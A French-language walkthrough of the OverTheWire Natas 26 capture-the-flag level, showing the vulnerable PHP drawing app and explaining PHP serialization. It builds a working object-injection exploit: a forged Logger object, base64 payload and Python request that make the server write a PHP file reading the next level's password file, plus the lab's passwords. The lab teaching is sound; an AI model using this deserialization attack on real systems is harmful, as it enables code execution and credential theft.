Natas 26
Level Goal
Username: natas26
Password: oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
URL: http://natas26.natas.labs.overthewire.org
En se connectant à la page du challenge 26 (curl http://natas26.natas.labs.overthewire.org -u natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
) on arrive sur un formulaire permettant d'indiquer 2 couple de points pour tracer une ligne et obtenir une image :
Draw a line:<br>
<form name="input" method="get">
X1<input type="text" name="x1" size=2>
Y1<input type="text" name="y1" size=2>
X2<input type="text" name="x2" size=2>
Y2<input type="text" name="y2" size=2>
<input type="submit" value="DRAW!">
</form>
Avec le code source suivant associé :
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
Le code est un peu indigeste mais c'est la ligne suivante qui doit retenir notre attention :
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
Deux cookies sont enregistrés par le serveur :
PHPSESSID
, qui contient l'identifiant de sessiondrawing
, qui contient l'objet PHPdrawing
serialisé puis transformé au format base64
Si l'on regarde le contenu du cookie drawing
on a :
YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MjoiMTAiO3M6MjoieDIiO3M6MjoiMTUiO3M6MjoieTIiO3M6MjoiMjAiO319
Qui une fois décodé donne une représentation sous forme serializée de la donnée (la donnée sérializé est une manière de représenter la donnée, grosso-modo comme le JSON) :
a:1:{i:0;a:4:{s:2:"x1";s:1:"1";s:2:"y1";s:2:"10";s:2:"x2";s:2:"15";s:2:"y2";s:2:"20";}}
La donnée représentée peut être interprétée comme suit :
a:1:{...}
indique un array de taille1
avec la donnée spécifiée entre accoladei:0
indique l'index0
de l'arraya:4:{...}
représente un sub-arrays:2:"x1"
indique une string de taille2
valantx1
s:1:"1"
indique une string de taille1
valant1
s:2:"y1"
indique une string de taille2
valanty1
s:2:"10"
indique une string de taille2
valant10
s:2:"x2"
indique une string de taille2
valantx2
s:2:"15"
indique une string de taille2
valant15
s:2:"y2"
indique une string de taille2
valantx1
s:2:"20"
indique une string de taille2
valant20
À noter que si on utilise la fonction unserialize()
de PHP on obtient un tableau de la forme suivante :
Array
(
[0] => Array
(
[x1] => 1
[y1] => 10
[x2] => 15
[y2] => 20
)
)
Utiliser unserialize()
sur de la donnée envoyée par un utilisateur est un risque majeur avec PHP. Il est en effet possible de manipuler la donnée de telle manière à pouvoir exécuter des fonctions appelées Magic Methods qui, si elles sont représentées dans de la donnée serializée, seront automatiquement appelée par PHP au moment de la déserialization.
Dans le cas présent on peut noter que si l'on recrée une classe Logger
et que l'on utilise PHP pour créé une instance, la serializer, puis l'envoyer au serveur, elle remplacera la classe Logger
d'origine.
Par exemple :
class Logger {
private $logFile;
private $initMsg;
private $exitMsg;
function __construct(){
$this->initMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>\n";
$this->exitMsg="<?php echo file_get_contents('/etc/natas_webpass/natas27'); ?>\n";
$this->logFile = "/var/www/natas/natas26/img/output.php";
}
}
Si on utilise PHP pour créer une instance de cette classe et la sérializer :
print base64_encode(serialize(new Logger()));
On obtient :
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNzoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvb3V0cHV0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjYzOiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PgoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo2MzoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9
Essayons d'envoyer ce cette valeur en tant que cookie drawing
en utilisant Python :
import requests
payload = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNzoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvb3V0cHV0LnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjYzOiI8P3BocCBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL25hdGFzX3dlYnBhc3MvbmF0YXMyNycpOyA/PgoiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo2MzoiPD9waHAgZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9"
response = requests.get(
"http://natas26.natas.labs.overthewire.org",
cookies={"PHPSESSID": "ime9bgn8djsf93sh40b0vk55r5", "drawing": f"{payload}"},
auth=requests.auth.HTTPBasicAuth("natas26", "oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T"),
)
print(response.text)
On obtient un message d'erreur, mais si l'on vérifie le contenu de notre fichier output.php
, on peut vori que celui-ci a bien été créé :
$ curl http://natas26.natas.labs.overthewire.org/img/output.php -u natas26:oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T
55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
On obtient le mot de passe du prochain niveau : 55TBjpPZUUJgVP5b3BnbG6ON9uDPVzCJ
.